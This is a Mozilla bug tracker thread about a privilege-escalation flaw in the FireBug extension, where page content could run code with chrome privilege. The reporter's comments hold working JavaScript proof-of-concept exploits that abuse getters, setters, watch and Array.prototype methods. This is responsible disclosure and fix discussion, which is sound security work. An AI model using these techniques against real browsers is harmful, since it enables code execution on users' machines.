344751 - Arbitrary code execution with FireBug

Status: RESOLVED FIXED

(Core :: Security, defect, P1)

Description

[moz_bug_r_a4]

(spun off from bug 344494)

The FireBug accesses content without using XPCNativeWrapper.  This allows
content to make chrome call content-defined methods and getter/setter
functions.

When chrome calls a content-defined function, in spite of the fact that content
cannot control arguments, content can run arbitrary code with chrome privilege.

Because, it is possible to turn a call to obj.func() into a call to
obj.func2(x) by using the Array.prototype methods that call OBJ_SET_PROPERTY
internally.


Steps to Reproduce:
1. Install FireBug.
2. Open testcase.

An alert dialog that shows Components.stack will appear.

Comment 1

[moz_bug_r_a4]

Attachment: testcase

Comment 2

[Joe Hewitt]

The reason that FireBug doesn't use XPCNativeWrapper is to facilitate the XMLHttpRequest logging feature.  It works by replacing XMLHttpRequest.prototype.open/send with chrome functions which do some logging and then call the original functions.

I could fix this security hole easily by switching XPCNativeWrappers back on for the "firebug" chrome package, but then that would break XMLHttpRequest logging.

So, the question is, is there a secure way to replace properties of window.XMLHttpRequest.prototype in a content document with chrome-defined functions?

One thought... Could I create a separate chrome package that has XPCNativeWrappers off, read the XHR prototype object in the other secure package, then ship it to the insecure package which replaces open and send?  That could result in an insecure call to a content-defined setter, but what if I were to clear the setter first?

Comment 3

[Joe Hewitt]

I'm making good progress on this.  Like I said earlier, I turned on XPCNativeWrappers for FireBug, and spun off the tiny bit of code that makes "unsafe" DOM access into a separate chrome package with xpcnativewrappers=no. This code only reads/writes a small set of properties, and before each one I call "delete object[property]" to make sure that any evil content-defined getters or setters are cleared.

This solution works great. It stops the exploit in the test case and keeps the XMLHttpRequest spy functional.  Only question now is whether the delete operator is capable of triggering any function calls in the document.  Not as far as I know - can anybody confirm?

As soon as I do a little more investigation I'll post a new XPI here for testing.

Comment 4

[Joe Hewitt]

Here is a link to a new FireBug XPI with this bug fixed:

http://www.joehewitt.com/software/firebug/releases/firebug0.4.1.xpi

moz_bug_r_a4 and Dan, I'd appreciate it if you could install this and see if you can poke any more holes.  Thanks.

Comment 5

[moz_bug_r_a4]

It seems that firebug0.4.1.xpi does not work properly.  I've tested it after
applying the following changes. 

chrome.manifest:
- content firebugx jar:chrome/firebugx.jar!/...
+ content firebugx jar:chrome/firebug.jar!/...

Place of the default preferences file:
defaults/firebug.js -> defaults/preferences/firebug.js


I've noticed some issues.

* Getting XMLHttpRequest.prototype.open is exploitable. (testcase 2)

  XMLHttpRequest.prototype.__defineGetter__("open", Array.prototype.shift);
  ...

* Getting win.__firebug__ is exploitable. (testcase 3)

  window.__defineGetter__("__firebug__", Array.prototype.shift);
  ...

* safeGet and safeSet are exploitable, since delete operator does not delete a
  property that is existing on the proto chain. (testcase 4)

  var a = {};
  a.__proto__.x = 1;
  delete a.x;
  alert(a.x); // shows "1".

  XMLHttpRequest.prototype.__defineSetter__("__open", Array.prototype.shift);
  ...

* safeSet is exploitable by using Object.prototype.watch. (testcase 5)

  var req = new XMLHttpRequest();
  req.watch("send", Array.prototype.shift);
  ...

* Some of the methods of window.console are exploitable. (testcase 6)

  var a = [ "", "alert(Components.stack)" ];
  a.__defineSetter__("0", privileged_eval);
  a.valueOf = a.shift;
  console.assertEquals(a, 1);


I don't have any idea about more robust solution :(

Comment 6

[moz_bug_r_a4]

Attachment: testcase 2 - XMLHttpRequest.prototype.open

Comment 7

[moz_bug_r_a4]

Attachment: testcase 3 - win.__firebug__

Comment 8

[moz_bug_r_a4]

Attachment: testcase 4 - safeSet request.__open

Comment 9

[moz_bug_r_a4]

Attachment: testcase 5 - watch request.send

Comment 10

[moz_bug_r_a4]

Attachment: testcase 6 - console.assertEquals

Comment 11

[Joe Hewitt]

Wow.  It didn't hit me last night how severe this problem is.  Is there some mechanism by which I can disable all chrome privileges for a particular slice of code?  I tried using netscape.security.PrivilegeManager to disable privileges, but it had no effect.

If there is no such mechanism, then I would have to concur with moz_bug_r_a4 - I don't see a solution.  FireBug reads/writes content-defined objects in a ton of places.  Perhaps the only compromise would be to require users to explicitly enable the extension only for trusted domains, the way the extension installer works.

Comment 12

[Joe Hewitt]

Sadly, it seems there is no solution for this problem that I can make to fix FireBug in Firefox 1.5.  We're going to have to add some more defense mechanisms to Gecko and hope FireBug can be secure under a future Firefox.

There is one specific problem that there seems to be no current workaround for - to quote a page on MDC: "There is no safe way to set an expando property from chrome and have it be readable from content."

FireBug needs to set "expando" properties in order for the following feature to work: window.console.log(), the command line, and XMLHttpRequest spying.  Hopefully we can come up with a safe way for future extensions to do this securely.  In the mean time, the best I can do is release an upgrade to FireBug that requires a page to be in a whitelist before any of the insecure features are enabled.

Comment 13

[Mike Schroepfer]

JST - are there any straightforward Gecko changes we can make to solve the issues in comment 12?

Comment 14

[Joe Hewitt]

I should note that the methods I use to enable console.log(), XMLHttpRequest spy, and the command line are by nature ugly hacks.  I use JavaScript to slap these features onto the DOM, when I should be calling APIs that are built into the Gecko core.  If I can find the time, I'd like to implement these the right way for Firefox 3.

Still, I think it would be an important to offer extension authors a secure way to set "expando" properties in the DOM.  I'm sure I'm not the last person who will make this mistake.

Comment 15

[moz_bug_r_a4]

It seems that the patch (attachment 229913 [details] [diff] [review]) in Bug 344495 also fixes the
privilege escalation bugs.

Comment 16

[Daniel Veditz [:dveditz]]

Appears fixed by the patch in bug 344495

Comment 17

[Brendan Eich [:brendan]]

This bug is fixable, but I won't be back in town for the meeting tomorrow. Here are some thoughts:

* We should be considering native function frames when walking the stack in search of the subject principal.

* Firebug should be able to downgrade its subject principal selectively, using a new API, details TBD. I'm working on this API along with a better security model that should allow safe mashups in the browser (including chrome vs. content, user-generated content if delimited somehow from surrounding hosting content, and GreaseMonkey user scripts).

* Hewitt's right, this is our bug to fix.

/be

Comment 18

[moz_bug_r_a4]

Firebug 1.03 is exploitable *without* using Array.prototype methods trick.

When I tried to find holes that can be exploited by using Array.prototype
methods trick, I did not pay attention to other things.  But now that I take a
closer look, I noticed that Firebug can be exploited by using relatively easy
ways.  The following are examples.  I guess more exploits are likely to be
found if someone tries.

[Holes in spy.js]

* Content can overwrite win.__firebug__, which is used in httpOpenWrapper() and
httpSendWrapper().

Exploit:
  __defineGetter__("__firebug__", function() {
    location.open = location.assign;
    return location;
  });
  __defineSetter__("__firebug__", function() {});
  XMLHttpRequest.prototype.open.call("javascript:alert(Components.stack);");

* Content can overwrite win.__firebugTemp__, which is used in evalSafeScript.

Exploit:
  __defineGetter__("__firebugTemp__", function() {
    return "alert(Components.stack);";
  });
  __defineSetter__("__firebugTemp__", function() {});
  window.eval = XMLHttpRequest.wrapped.eval;
  try { new XMLHttpRequest().open(); }
  catch (e) {}

[Hole in html.js]

* Content can overwrite doc.createTreeWalker and doc.documentElement, which are
used in findNextMatch.

Exploit:
  document.createTreeWalker = XMLHttpRequest.wrapped.eval;
  document.__defineGetter__("documentElement", function() {
    return "alert(Components.stack);";
  });

This exploit will be triggered when typing any characters in the Firebug's
search box.

Comment 19

[chris hofmann]

brendan, had a chance to think about this more?  mrbkap, could this be on your summer project list?

Comment 20

[chris hofmann]

sounds like blake's work in  https://bugzilla.mozilla.org/show_bug.cgi?id=367911 for  (cross-origin wrappers) is a prequisite for this

Comment 21

[Shawn Wilsher :sdwilsh]

Joe,
It seems like the patch in Issue 8 takes care of the XMLHttpRequest issue.  At least I don't get the alert like the test case says I should.
http://code.google.com/p/fbug/issues/detail?id=8

Comment 22

[Shawn Wilsher :sdwilsh]

Scratch my previous comment.  I was building with XPCNativeWrappers and didn't realize it :(

Comment 23

[Brendan Eich [:brendan]]

And progress here due to mrbkap's cross-origin wrappers?

/be

Comment 24

[Blake Kaplan (:mrbkap) (inactive)]

(In reply to comment #23)
> And progress here due to mrbkap's cross-origin wrappers?

We're closer: with cross-origin wrappers, it becomes almost trivial to take native frames into account when computing subject principals. I'm going to file a bug about it today and start working on a patch.

Comment 25

[Shawn Wilsher :sdwilsh]

It's hard to tell - parts of Firebug doesn't even work on trunk right now...

Comment 26

[Blake Kaplan (:mrbkap) (inactive)]

Which parts? Are there bugs filed?

Comment 27

[Shawn Wilsher :sdwilsh]

XMLHttpRequest spy and the JS Console.  I haven't had the cycles to investigate why they are not working however.  Might be from changes you've made, might not.

Comment 28

[Brendan Eich [:brendan]]

mrbkap kindly offered to take this.

/be

Comment 29

[Damon Sicore (:damons)]

Blake, have you had a chance to take a look at this?

Comment 30

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Is this not exploitable at all without firebug? If it is, we need to up the priority.

Comment 31

[moz_bug_r_a4]

This is not exploitable at all without firebug.  The exploits depend on the
fact that firebug accesses content without using XPCNativeWrapper.

Comment 32

[Daniel Veditz [:dveditz]]

I'm slightly confused about why this is assigned to mrbkap, wouldn't the fix for this be in Firebug itself to compensate for the fact that it explicitly turns off protection mechanisms?

This is a high-profile extension used by the sorts of people who would be high-value targets for hacking: we need to fix this for FF3. Raising to a P2 per security bug triage mtg.

Comment 33

[Blake Kaplan (:mrbkap) (inactive)]

This will hopefully be fixed by using SJOWs instead of XPCNativeWrappers for xpcnativewrappers=no extensions.

Comment 34

[Johnny Stenback (:jst)]

(In reply to comment #32)
> I'm slightly confused about why this is assigned to mrbkap, wouldn't the fix
> for this be in Firebug itself to compensate for the fact that it explicitly
> turns off protection mechanisms?

From what I hear the Firebug code has tried to protect itself against these exploits in all cases where it touches unsafe code, and moz_bug_r_a4 has walked right past those protections every time :) IOW, this most likely is not a problem that is fixable in Firebug w/o more help from Gecko, which is what mrbkap is talking about.

Comment 35

[chris hofmann]

if we take a fix on the gecko side I'm guessing we should try and get it in b3 to allow time to fix any possible regression fall out.   moving to p1

Comment 36

[Damon Sicore (:damons)]

Blake, how are we looking here?  I know you are super busy.  

Comment 37

[Blake Kaplan (:mrbkap) (inactive)]

I haven't been tracking this bug exactly, but the work I'm doing for this bug is happening in bug 344494 and its dependencies.

Comment 38

[Mike Beltzner [:beltzner, not reading bugmail]]

This doesn't block beta 4, but does require beta exposure.

Comment 39

[Blake Kaplan (:mrbkap) (inactive)]

This should be fixed now.

Comment 40

[moz_bug_r_a4]

I've tested on fx-3.0b5pre-2008-03-07-06 with firebug-1.1.0b12.  Firebug is
still exploitable, since content can still access privileged functions.

e.g.
* content can abuse console.log().  When content does |console.log(x);|,
Firebug code accesses properties of x.

* When Firebug does |win.addEventListener("foo", y, false);| (win is SJOW),
content can access y and abuse it.

* When Firebug evaluates a command line code, content can access __scope__.api
and abuse it.

By the way, there is a regression: the command line stuff no longer works,
since it tries to access a privileged object via SJOW in a sandbox and fails. 
(But, an exploit code can work even with this regression.)

Comment 41

[moz_bug_r_a4]

Attachment: testcase 7 - console.log

This uses bug 344495's trick.

Comment 42

[moz_bug_r_a4]

Attachment: testcase 8 - addEventListener

Comment 43

[moz_bug_r_a4]

Attachment: testcase 9 - __scope__.api

Comment 44

[Damon Sicore (:damons)]

So, based on the new data from moz_bug* above, what, if anything, is happening on this bug now?  Is this being tracked someplace else?

Comment 45

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

I suspect we'll want separate bugs on these new attacks.

But really, FireBug should stop opting out of NativeWrappers. The opting out is the reason testcase 8 is attackable, it's really a bug in FireBug. And even if firebug fixed that one, there are probably lots of other places where it's accessing the DOM and really do want the real DOM methods rather than overrides made by the page.

Comment 46

[Mike Schroepfer]

Sicking to split this into follow-up bugs...

Comment 47

[Jonas Sicking (:sicking) No longer reading bugmail consistently]

Filed bugs:

Bug 423796
Bug 423947
Bug 423949

On those issues. So closing this one as FIXED.